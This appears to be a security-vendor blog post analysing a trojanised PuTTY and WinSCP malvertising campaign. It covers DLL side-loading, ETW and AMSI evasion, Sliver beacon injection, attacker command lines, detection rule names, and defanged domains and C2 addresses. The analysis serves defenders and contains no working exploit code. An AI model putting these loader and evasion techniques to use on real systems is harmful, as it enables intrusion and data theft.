WinSCP is a file transfer client, PuTTY a secure shell (SSH) client. The infection chain typically begins after a user searches for a phrase such as <em>download winscp</em> or <em>download putty</em>, on a search engine like Microsoft's Bing. The search results include an ad for the software the user clicks on, which ultimately redirects them to either a clone of the legitimate website, in the case of WinSCP, or a simple download page in the case of PuTTY. In both cases, a link to download a zip archive containing the trojan from a secondary domain was embedded on the web page.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta5dec86ac906ddf8/683de7dd18a553c3e26872aa/Screenshot-2024-05-10-at-4.05.33-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.05.33-PM.png" asset-alt="Screenshot-2024-05-10-at-4.05.33-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta5dec86ac906ddf8/683de7dd18a553c3e26872aa/Screenshot-2024-05-10-at-4.05.33-PM.png" data-sys-asset-uid="blta5dec86ac906ddf8" data-sys-asset-filename="Screenshot-2024-05-10-at-4.05.33-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.05.33-PM.png" sys-style-type="display"/></figure><p>The infection begins after the user has downloaded and extracted the contents of the zip archive and executed <em><strong>setup.exe</strong></em>, which is a renamed copy of <em><strong>pythonw.exe</strong></em>, the legitimate Python hidden console window executable.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9e4f44206570ee92/683de7f8c26e07037328e9d2/Screenshot-2024-05-10-at-4.06.46-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.06.46-PM.png" asset-alt="Screenshot-2024-05-10-at-4.06.46-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9e4f44206570ee92/683de7f8c26e07037328e9d2/Screenshot-2024-05-10-at-4.06.46-PM.png" data-sys-asset-uid="blt9e4f44206570ee92" data-sys-asset-filename="Screenshot-2024-05-10-at-4.06.46-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.06.46-PM.png" sys-style-type="display"/></figure><p>Upon execution, <em><strong>setup.exe</strong></em> loads the malicious DLL <em><strong>python311.dll</strong></em>. As seen in <em>Figure 2</em>, the copy of the legitimate python311 DLL which <em><strong>setup.exe</strong></em> is intended to load has actually been renamed to <em>python311x.dll</em>. This technique is known as <a href="https://attack.mitre.org/techniques/T1574/002/">DLL side-loading</a>, where a malicious DLL can be loaded into a legitimate, signed, executable by mimicking partial functionality and the name of the original library. The process of side-loading the DLL is also facilitated by <a href="https://attack.mitre.org/techniques/T1574/001/">hijacking the DLL search order</a>, where attempts are made to load DLLs contained within the same directory first, before checking other directories on the system where a legitimate copy might be present. Rapid7 has also observed the Python 3.11 library being targeted in prior malware campaigns, <a href="/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/">such as the novel IDAT loader, discovered by Rapid7 during August of 2023</a>.</p><p>The primary payload contained within <em><strong>python311.dll</strong></em> is a compressed archive encrypted and included within the DLL's resource section. During execution, this archive is unpacked to execute two child processes.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt852880f22d0ba55b/683de8104c5a0964065e0d75/Screenshot-2024-05-10-at-4.08.28-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.08.28-PM.png" asset-alt="Screenshot-2024-05-10-at-4.08.28-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt852880f22d0ba55b/683de8104c5a0964065e0d75/Screenshot-2024-05-10-at-4.08.28-PM.png" data-sys-asset-uid="blt852880f22d0ba55b" data-sys-asset-filename="Screenshot-2024-05-10-at-4.08.28-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.08.28-PM.png" sys-style-type="display"/></figure><p>First, the malware executes the unpacked copy of the legitimate WinSCP installer, seen in <em>Figure 3</em> as <em>WinSCP-6.1.1-Setup.exe</em>. Then, the malicious Python script <em><strong>systemd.py</strong></em> is executed via <em><strong>pythonw.exe</strong></em> after being unpacked into the staging directory <em><strong>%LOCALAPPDATA%\Oracle\</strong></em> along with numerous Python dependencies. Following the successful execution of both processes, <em><strong>setup.exe</strong></em> then terminates.</p><p>The script <em><strong>systemd.py</strong></em>, executed via <em><strong>pythonw.exe</strong></em>, decrypts and executes a second Python script then performs decryption and reflective DLL injection of a <a href="https://attack.mitre.org/software/S0633/">Sliver beacon</a>. Reflective DLL injection is the process of loading a library into a process directly from memory instead of from disk. In several cases, Rapid7 observed the threat actor take quick action upon successful contact with the Sliver beacon, downloading additional payloads, including Cobalt Strike beacons. The access is then used to establish persistence via scheduled tasks and newly created services after pivoting via SMB. In a recent incident, Rapid7 observed the threat actor attempt to exfiltrate data using the backup utility Restic, and then deploy ransomware, an attempt which was ultimately blocked during execution.</p><p>The related techniques, tactics, and procedures (TTP) observed by Rapid7 are reminiscent of past BlackCat/ALPHV campaigns <a href="https://www.trendmicro.com/en_us/research/23/f/malvertising-used-as-entry-vector-for-blackcat-actors-also-lever.html">as reported by Trend Micro last year</a>. This campaign, referred to as Nitrogen <a href="https://www.malwarebytes.com/blog/threat-intelligence/2024/01/nitrogen-shelling-malware-from-hacked-sites">by Malwarebytes</a>, and <a href="https://www.esentire.com/blog/nitrogen-campaign-2-0-reloads-with-enhanced-capabilities-leading-to-alphv-blackcat-ransomware">eSentire</a>, has previously been reported to use <a href="https://www.malwarebytes.com/blog/threat-intelligence/2024/04/active-nitrogen-campaign-delivered-via-malicious-ads-for-putty-filezilla">similar methods.</a></p><h2>Technical Analysis</h2><p>To take a more in depth look at the malware delivery and functionality, we analyzed a malware sample recently observed being delivered to users looking for a PuTTY installer.</p><h2>Initial Access</h2><p>The source of the infection was a malicious ad served to the user after their search for <em>download putty</em>. When the user clicked on the ad, which are typically pushed to the top of the search results for visibility, they were redirected to a typo-squatted domain at the URL <em><strong>hxxps://puttty[.]org/osn.php</strong></em>. The landing page includes a download button for PuTTY, as well as two legitimate links to download a Bitvise SSH server/client. However, when the download link is clicked by the user it calls the embedded function <em><strong>loadlink()</strong></em>, which redirects the user to <em><strong>hxxps://puttty[.]org/dwnl.php</strong></em>, which then finally redirects the user to the most recent host of the malicious zip archive to serve the download. At the time of writing, <em><strong>puttty[.]org</strong></em> and the relevant URLs were still active, serving the zip archive <em><strong>putty-0.80-installer.zip</strong></em> from the likely compromised WordPress domain <em><strong>areauni[.]com</strong></em>.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0725d86fbc9fe459/683de82f590d7fc105de1df8/Screenshot-2024-05-10-at-4.14.08-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.14.08-PM.png" asset-alt="Screenshot-2024-05-10-at-4.14.08-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0725d86fbc9fe459/683de82f590d7fc105de1df8/Screenshot-2024-05-10-at-4.14.08-PM.png" data-sys-asset-uid="blt0725d86fbc9fe459" data-sys-asset-filename="Screenshot-2024-05-10-at-4.14.08-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.14.08-PM.png" sys-style-type="display"/></figure><p>Rapid7 observed the base domain, <em><strong>puttty[.]org</strong></em> was also serving a cloned version of a PuTTY help article available at <a href="https://www.bluehost.com/help/article/using-ssh-on-windows-putty">BlueHost</a>, where the download link provided is actually for the <a href="https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html">official distributor of the software</a>. This relatively benign page is most likely conditionally served as a way to reduce suspicion as noted by Malwarebytes.</p><p>In comparison, the typo-squatted WinSCP domains conditionally redirected visits to Rick Astley's <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ"><em>Never Gonna Give You Up</em></a>. Classic.</p><h2>Execution</h2><p>Upon extracting the zip archive <em><strong>putty-0.80-installer.zip</strong></em>, the user is once again presented with <em><strong>setup.exe</strong></em>, a renamed copy of <em><strong>pythonw.exe</strong></em>, to entice the user to initiate the infection by launching the executable.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb3f1ae21a694b846/683de8463a1c5a713b4baad2/Screenshot-2024-05-10-at-4.20.24-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.20.24-PM.png" asset-alt="Screenshot-2024-05-10-at-4.20.24-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb3f1ae21a694b846/683de8463a1c5a713b4baad2/Screenshot-2024-05-10-at-4.20.24-PM.png" data-sys-asset-uid="bltb3f1ae21a694b846" data-sys-asset-filename="Screenshot-2024-05-10-at-4.20.24-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.20.24-PM.png" sys-style-type="display"/></figure><p>Once executed, <em><strong>setup.exe</strong></em> will side-load the malicious DLL <em><strong>python311.dll</strong></em>. The DLL <em><strong>python311.dll</strong></em> then loads a renamed copy of the legitimate DLL, <em>python3.dll</em>, from the same directory after dynamically resolving the necessary functions from <em><strong>kernel32.dll</strong></em> by string match. Future requests for exported functions made by <em><strong>setup.exe</strong></em> can then be forwarded to <em>python3.dll</em> by <em><strong>python311.dll</strong></em>. This technique is commonly used when side-loading malware, so legitimate requests are proxied, which avoids unexpected behavior and improves stability of the payload delivery.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9bbc437a0fde1280/683de8614c5a09fa905e0d99/Screenshot-2024-05-10-at-4.25.12-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.25.12-PM.png" asset-alt="Screenshot-2024-05-10-at-4.25.12-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9bbc437a0fde1280/683de8614c5a09fa905e0d99/Screenshot-2024-05-10-at-4.25.12-PM.png" data-sys-asset-uid="blt9bbc437a0fde1280" data-sys-asset-filename="Screenshot-2024-05-10-at-4.25.12-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.25.12-PM.png" sys-style-type="display"/></figure><p>Following the successful sideloading procedure, the malware then performs pre-unpacking setup by dynamically resolving additional functions from <em><strong>ntdll.dll</strong></em>. The malware still uses functionality similar to the publicly available <a href="https://github.com/NtRaiseHardError/AntiHook">AntiHook</a> and <a href="https://github.com/RtlDallas/KrakenMask">KrakenMask</a> libraries to facilitate setup and execution, as previously noted by eSentire, which provides additional evasion capabilities. AntiHook contains functionality to enumerate the loaded modules of a process, searching each one for hooks, and remaps a clean, unhooked version of the module’s text section, if hooks are found. KrakenMask contains functionality to spoof the return address of function calls, to evade stack traces, and functionality to encrypt the processes virtual memory at rest to evade memory scanners.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt06b910c11c629039/683de87a7f86030a702309cb/Screenshot-2024-05-10-at-4.25.48-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.25.48-PM.png" asset-alt="Screenshot-2024-05-10-at-4.25.48-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt06b910c11c629039/683de87a7f86030a702309cb/Screenshot-2024-05-10-at-4.25.48-PM.png" data-sys-asset-uid="blt06b910c11c629039" data-sys-asset-filename="Screenshot-2024-05-10-at-4.25.48-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.25.48-PM.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta810f97cc8491e54/683de894ff6aa993040eaac7/Screenshot-2024-05-10-at-4.26.14-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.26.14-PM.png" asset-alt="Screenshot-2024-05-10-at-4.26.14-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta810f97cc8491e54/683de894ff6aa993040eaac7/Screenshot-2024-05-10-at-4.26.14-PM.png" data-sys-asset-uid="blta810f97cc8491e54" data-sys-asset-filename="Screenshot-2024-05-10-at-4.26.14-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.26.14-PM.png" sys-style-type="display"/></figure><p>The library <em><strong>ntdll.dll</strong></em> contains functions which make up the Windows Native API (NTAPI), which is generally the closest a process executed in user mode can get to utilizing functionality from the operating system’s kernel. By resolving NTAPI functions for use, malware can bypass detection applied to more commonly used user mode functions (WINAPI) and access lower level functionality that is otherwise unavailable. Several of the NTAPI function pointers resolved by the malware can be used for evasion techniques such as Event Tracing for Windows (ETW) tampering and bypass of the Anti-Malware Scan Interface (AMSI) as has been observed in prior Nitrogen campaign samples. Some of the functions are dynamically resolved from <em><strong>ntdll.dll</strong></em> are found using concatenation of stack strings to form the full name of the target API just before resolution is attempted, likely to help evade detection.</p><table cols="1" colWidths="250"><thead><tr><th>Resolved ntdll.dll functions</th></tr></thead><tbody><tr><td>EtwEventWrite</td></tr><tr><td>EtwEventWriteFull</td></tr><tr><td>EtwNotificationRegister</td></tr><tr><td>EtwEventRegister</td></tr></tbody></table><p><em>Table 1. Functions the malware dynamically resolves from ntdll.dll.</em></p><table cols="1" colWidths="250"><thead><tr><th>Other observed function strings</th></tr></thead><tbody><tr><td>WldpQueryDynamicCodeTrust (wldp.dll)</td></tr><tr><td>AmsiScanBuffer (amsi.dll)</td></tr></tbody></table><p><em>Table 2. Other evasion related WINAPI function strings observed in the malware</em></p><p>With setup complete, an encrypted resource stored within the resource section of <em><strong>python311.dll</strong></em> is retrieved using <a href="https://learn.microsoft.com/en-us/windows/win32/menurc/finding-and-loading-resources">common resource WINAPI calls</a>, including <em><strong>FindResourceA</strong></em>, <em><strong>LoadResource</strong></em>, <em><strong>SizeOfResource</strong></em>, and <em><strong>FreeResource</strong></em>.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4b2c6729a3eb1fc3/683de8aa73c84528dbe8c575/Screenshot-2024-05-10-at-4.27.13-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.27.13-PM.png" asset-alt="Screenshot-2024-05-10-at-4.27.13-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4b2c6729a3eb1fc3/683de8aa73c84528dbe8c575/Screenshot-2024-05-10-at-4.27.13-PM.png" data-sys-asset-uid="blt4b2c6729a3eb1fc3" data-sys-asset-filename="Screenshot-2024-05-10-at-4.27.13-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.27.13-PM.png" sys-style-type="display"/></figure><p>The resource is then decrypted in memory using an AES-256 hex key and initialization vector (IV) that are stored in the data section in plain text. The resulting file is a zip archive which contains three compressed files, including a legitimate MSI installation package for PuTTY and another compressed archive named <em><strong>installer_data.zip</strong></em>.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt36fc3f07baa6959c/683de8bf3e68ee1672889c11/Screenshot-2024-05-10-at-4.27.46-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.27.46-PM.png" asset-alt="Screenshot-2024-05-10-at-4.27.46-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt36fc3f07baa6959c/683de8bf3e68ee1672889c11/Screenshot-2024-05-10-at-4.27.46-PM.png" data-sys-asset-uid="blt36fc3f07baa6959c" data-sys-asset-filename="Screenshot-2024-05-10-at-4.27.46-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.27.46-PM.png" sys-style-type="display"/></figure><p>To execute the PuTTY installer, the malware first creates a copy of the MSI file in the hard-coded directory <em><strong>C:\Users\Public\Downloads\</strong></em> via a call to <em><strong>fopen</strong></em> and then decompresses and writes the retrieved MSI package content with multiple successive calls to <em><strong>fwrite</strong></em> and other CRT library file io functions, followed by <em><strong>fclose</strong></em>. The full output path is assembled by concatenating the target directory with the desired file name, which is retrieved from <em><strong>original_installer.txt</strong></em>. The contents of <em><strong>original_installer.txt</strong></em> are identical to the name of the MSI package observed in the resource, for this sample: <em>putty-64bit-0.78-installer.msi</em>.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt84f6076df2a6d11c/683de8d73beff048c4a7c688/Screenshot-2024-05-10-at-4.28.25-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.28.25-PM.png" asset-alt="Screenshot-2024-05-10-at-4.28.25-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt84f6076df2a6d11c/683de8d73beff048c4a7c688/Screenshot-2024-05-10-at-4.28.25-PM.png" data-sys-asset-uid="blt84f6076df2a6d11c" data-sys-asset-filename="Screenshot-2024-05-10-at-4.28.25-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.28.25-PM.png" sys-style-type="display"/></figure><p>The MSI package is then executed by a call to <em><strong>CreateProcessW</strong></em> with the command line <em><strong>msiexec.exe ALLUSERS=1 /i  C:\Users\Public\Downloads\putty-64bit-0.78-installer.msi</strong></em>. So, before the execution of the next malware payload the user is provided with the software they were originally looking for. This functionality is commonly seen with trojans to avoid suspicion by the end user, as the user only sees the legitimate installation window pop up after initial execution. However, the version numbers between the executed MSI package, <em><strong>putty-64bit-0.78-installer.msi</strong></em>, and the initially downloaded zip archive, <em><strong>putty-64bit-0.80-installer.zip</strong></em>, don't match — a potential indicator.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad260f7239f6376e/683de8ec6b437b9dd64fa887/Screenshot-2024-05-10-at-4.29.06-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.29.06-PM.png" asset-alt="Screenshot-2024-05-10-at-4.29.06-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad260f7239f6376e/683de8ec6b437b9dd64fa887/Screenshot-2024-05-10-at-4.29.06-PM.png" data-sys-asset-uid="bltad260f7239f6376e" data-sys-asset-filename="Screenshot-2024-05-10-at-4.29.06-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.29.06-PM.png" sys-style-type="display"/></figure><p>The same procedure is then repeated to copy the decompressed contents of the folder <em><strong>Oracle</strong></em> contained within the zip archive <em><strong>installer_data.zip</strong></em> to the staging directory created at <em><strong>%LOCALAPPDATA%\Oracle\</strong></em>. After the unpacking process is complete, another call by the malware to <em><strong>CreateProcessW</strong></em> executes the next payload with the command line <em><strong>%LOCALAPPDATA%\Oracle\pythonw.exe %LOCALAPPDATA%\Oracle\systemd.py</strong></em>. With its purpose completed, the loader then clears memory and passes back control to <em><strong>setup.exe</strong></em>, which promptly terminates, leaving the <em><strong>pythonw.exe</strong></em> process running in the background.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd7d0a26a182cba59/683de900a38fc5bb8b0322b6/Screenshot-2024-05-10-at-4.29.48-PM.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.29.48-PM.png" asset-alt="Screenshot-2024-05-10-at-4.29.48-PM.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd7d0a26a182cba59/683de900a38fc5bb8b0322b6/Screenshot-2024-05-10-at-4.29.48-PM.png" data-sys-asset-uid="bltd7d0a26a182cba59" data-sys-asset-filename="Screenshot-2024-05-10-at-4.29.48-PM.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.29.48-PM.png" sys-style-type="display"/></figure><p>The Python script <em><strong>systemd.py</strong></em> contains multiple junk classes, which in turn contain numerous junk function definitions to pad out the core script. Ultimately, the script decrypts the file <em><strong>%LOCALAPPDATA%\Oracle\data.aes</strong></em>, which is a Sliver beacon DLL (original name: <em>BALANCED_NAPKIN.dll</em>), performs local injection of the Sliver DLL, and then calls the export <em><strong>StartW</strong></em>. The contents of main and other included functionality within the script appears to have been mostly copied from the publicly available <a href="https://github.com/naksyn/PythonMemoryModule">Github repo for <em><strong>PythonMemoryModule</strong></em></a>.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4dcfa687b62456d1/683de91330073e69dfeb1ade/Screenshot-2024-05-10-at-4.30.37-PM-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Screenshot-2024-05-10-at-4.30.37-PM-1.png" asset-alt="Screenshot-2024-05-10-at-4.30.37-PM-1.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt4dcfa687b62456d1/683de91330073e69dfeb1ade/Screenshot-2024-05-10-at-4.30.37-PM-1.png" data-sys-asset-uid="blt4dcfa687b62456d1" data-sys-asset-filename="Screenshot-2024-05-10-at-4.30.37-PM-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Screenshot-2024-05-10-at-4.30.37-PM-1.png" sys-style-type="display"/></figure><p>Rapid7 has replicated the unpacking process of the beacon DLL in a <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Malware%20Config%20Extractors/goofyloader.py">python extraction script that is now publicly available</a> along with a <a href="https://github.com/rapid7/Rapid7-Labs/blob/main/Yara/goofyloader.yar">yara rule to detect the malicious DLL</a>.</p><h2>Mitigations</h2><p>Rapid7 recommends verifying the download source of freely available software. Check that the hash of the downloaded file(s) match those provided by the official distributor and that they contain a valid and relevant signature. The DLLs that are side-loaded by malware are often unsigned, and are often present in the same location as the legitimately signed and renamed original, to which requests are forwarded. Bookmark the official distribution domains for the download of future updates.</p><p>DNS requests for permutations of known domains can also be proactively blocked or the requests can be redirected to a DNS sinkhole. For example, by using the publicly available tool <a href="https://dnstwist.it/">DNSTwist</a> we can identify several additional suspicious domains that match the observed ASNs and country codes observed for many of the C2 IPv4 addresses observed to be contacted by the malware as well as known malware hosts/facilitators.</p><table cols="3" colWidths="250,250,250"><thead><tr><th>Domain</th><th>IPv4</th><th>ASN</th></tr></thead><tbody><tr><td>wnscp[.]net</td><td>91.92.253[.]80</td><td>AS394711:LIMENET</td></tr><tr><td>puttyy[.]org</td><td>82.221.136[.]24</td><td>AS50613:Advania Island ehf</td></tr><tr><td>puutty[.]org</td><td>82.221.129[.]39</td><td>AS50613:Advania Island ehf</td></tr><tr><td>putyy[.]org</td><td>82.221.136[.]1</td><td>AS50613:Advania Island ehf</td></tr></tbody></table><p><em>Table 3. More suspicious domains found via DNSTwist.</em></p><p>Rapid7 observed impacted users are disproportionately members of information technology (IT) teams who are more likely to download installers for utilities like PuTTY and WinSCP for updates or setup. When the account of an IT member is compromised, the threat actor gains a foothold with elevated privileges which impedes analysis by blending in their actions with that of the administrator(s), stressing the importance of verifying the source of files before download, and their contents before execution.</p><h2>MITRE ATT&CK Techniques</h2><table cols="3" colWidths="250,250,250"><thead><tr><th>Tactic</th><th>Technique</th><th>Procedure</th></tr></thead><tbody><tr><td>Resource Development</td><td><a href="https://attack.mitre.org/techniques/T1583/008/">T1583.008</a>: Acquire Infrastructure: Malvertising</td><td>The threat actor uses ads to promote malware delivery via popular search engines.</td></tr><tr><td>Initial Access</td><td><a href="https://attack.mitre.org/techniques/T1189/">T1189</a>: Drive-by Compromise</td><td>The user clicks on a malicious ad populated from a typical search engine query for a software utility and is ultimately redirected to a page hosting malware.</td></tr><tr><td>Execution</td><td><a href="https://attack.mitre.org/techniques/T1106/">T1106</a>: Native API</td><td>The malware dynamically resolves and executes functions from ntdll.dll at runtime.</td></tr><tr><td>Execution</td><td><a href="https://attack.mitre.org/techniques/T1204/002/">T1204.002</a>: User Execution: Malicious File</td><td>The user downloads and executes setup.exe (renamed pythonw.exe), which side-loads and executes the malicious DLL python311.dll.</td></tr><tr><td>Execution</td><td><a href="https://attack.mitre.org/techniques/T1059/006/">T1059.006</a>: Command and Scripting Interpreter: Python</td><td>The malware executes a python script to load and execute a Sliver beacon.</td></tr><tr><td>Persistence</td><td><a href="https://attack.mitre.org/techniques/T1543/003/">T1543.003</a>: Create or Modify System Process: Windows Service</td><td>The threat actor creates a service to execute a C2 beacon. The threat actor loads a vulnerable driver to facilitate disabling antivirus software and other defenses present.</td></tr><tr><td>Persistence</td><td><a href="https://attack.mitre.org/techniques/T1053/005/">T1053.005</a>: Scheduled Task/Job: Scheduled Task</td><td>The threat actor creates a scheduled task to execute a C2 beacon.</td></tr><tr><td>Defense Evasion</td><td><a href="https://attack.mitre.org/techniques/T1140/">T1140</a>: Deobfuscate/Decode Files or Information</td><td>The malware uses various string manipulation and obfuscation techniques.</td></tr><tr><td>Defense Evasion</td><td><a href="https://attack.mitre.org/techniques/T1222/001/">T1222.001</a>: File and Directory Permissions Modification: Windows File and Directory Permissions Modification</td><td>The malware calls chmod to change file permissions prior to execution.</td></tr><tr><td>Defense Evasion</td><td><a href="https://attack.mitre.org/techniques/T1574/001/">T1574.001</a>: Hijack Execution Flow: DLL Search Order Hijacking</td><td>The malware contained in python311.dll is loaded by a renamed copy of pythonw.exe from the same directory.</td></tr><tr><td>Defense Evasion</td><td><a href="https://attack.mitre.org/techniques/T1574/002/">T1574.002</a>: Hijack Execution Flow: DLL Side-Loading</td><td>The malware contained in python311.dll is loaded by a renamed copy of pythonw.exe and proxies requests to a renamed copy of the legitimate DLL.</td></tr><tr><td>Defense Evasion</td><td><a href="https://attack.mitre.org/techniques/T1027/002/">T1027.002</a>: Obfuscated Files or Information: Software Packing</td><td>The final payload executed by the malware is unpacked through several layers of compression, encryption, and file formats.</td></tr><tr><td>Defense Evasion</td><td><a href="https://attack.mitre.org/techniques/T1027/013/">T1027.013</a>: Obfuscated Files or Information: Encrypted/Encoded File</td><td>The malware also stores other file dependencies with several layers of obfuscation</td></tr><tr><td>Defense Evasion</td><td><a href="https://attack.mitre.org/techniques/T1055/001/">T1055.001</a>: Process Injection: Dynamic-link Library Injection</td><td>The malware loads a Sliver beacon DLL via python script.</td></tr><tr><td>Lateral Movement</td><td><a href="https://attack.mitre.org/techniques/T1570/">T1570</a>: Lateral Tool Transfer</td><td>The threat actor uses SMB via Cobalt Strike to pivot post compromise</td></tr><tr><td>Exfiltration</td><td><a href="https://attack.mitre.org/techniques/T1567/002/">T1567.002</a>: Exfiltration Over Web Service: Exfiltration to Cloud Storage</td><td>The threat actor attempts to exfiltrate data to a backup using Restic.</td></tr><tr><td>Impact</td><td><a href="https://attack.mitre.org/techniques/T1486/">T1486</a>: Data Encrypted for Impact</td><td>The threat actor attempts the deployment of ransomware after exfiltrating data.</td></tr></tbody></table><h2>Rapid7 Detections</h2><p>For Rapid7 MDR and InsightIDR customers, the following detection rules are currently deployed and alerting against malware campaigns like the one described in this blog:</p><table cols="1" colWidths="250"><thead><tr><th>Detections</th></tr></thead><tbody><tr><td>Suspicious Process - Sliver C2 Interactive Shell Execution via PowerShell</td></tr><tr><td>Suspicious Process - Python Start Processes in Staging Directories</td></tr><tr><td>Attacker Technique - Renamed PythonW.exe Executed From Non-Standard Folder</td></tr><tr><td>Suspicious Service: Service Installed With Command Line using Python</td></tr><tr><td>Network Discovery - Nltest Enumerate Domain Controllers</td></tr><tr><td>Attacker Technique - Potential Process Hollowing To DLLHost</td></tr><tr><td>Suspicious Process - Gpupdate.exe Execution With No Arguments</td></tr><tr><td>Suspicious Process Access - LSASS Memory Dump Using MiniDumpWriteDump Function</td></tr></tbody></table><h2>Indicators of Compromise</h2><h3>Network Based Indicators (NBIs)</h3><table cols="2" colWidths="250,250"><thead><tr><th>Domain/IPv4 Address</th><th>Notes</th></tr></thead><tbody><tr><td>wnscp[.]net</td><td>Typo-squatted domain, found via DNSTwist</td></tr><tr><td>puttyy[.]org</td><td>Typo-squatted domain, found via DNSTwist</td></tr><tr><td>puutty[.]org</td><td>Typo-squatted domain, found via DNSTwist</td></tr><tr><td>putyy[.]org</td><td>Typo-squatted domain, found via DNSTwist</td></tr><tr><td>vvinscp[.]net</td><td>Typo-squatted domain</td></tr><tr><td>winnscp[.]net</td><td>Typo-squatted domain</td></tr><tr><td>puttty[.]org</td><td>Typo-squatted domain</td></tr><tr><td>areauni[.]com</td><td>Malicious zip archive host, likely compromised domain</td></tr><tr><td>mkt[.]geostrategy-ec[.]com</td><td>Malicious zip archive host, likely compromised domain</td></tr><tr><td>fkm-system[.]com</td><td>Malicious zip archive host, likely compromised domain</td></tr><tr><td>185.82.219[.]92</td><td>C2 address</td></tr><tr><td>91.92.242[.]183</td><td>C2 address</td></tr><tr><td>91.92.244[.]41</td><td>C2 address</td></tr><tr><td>91.92.249[.]106</td><td>C2 address</td></tr><tr><td>91.92.249[.]155</td><td>C2 address</td></tr><tr><td>91.92.252[.]238</td><td>C2 address</td></tr><tr><td>91.92.255[.]71</td><td>C2 address</td></tr><tr><td>91.92.255[.]77</td><td>C2 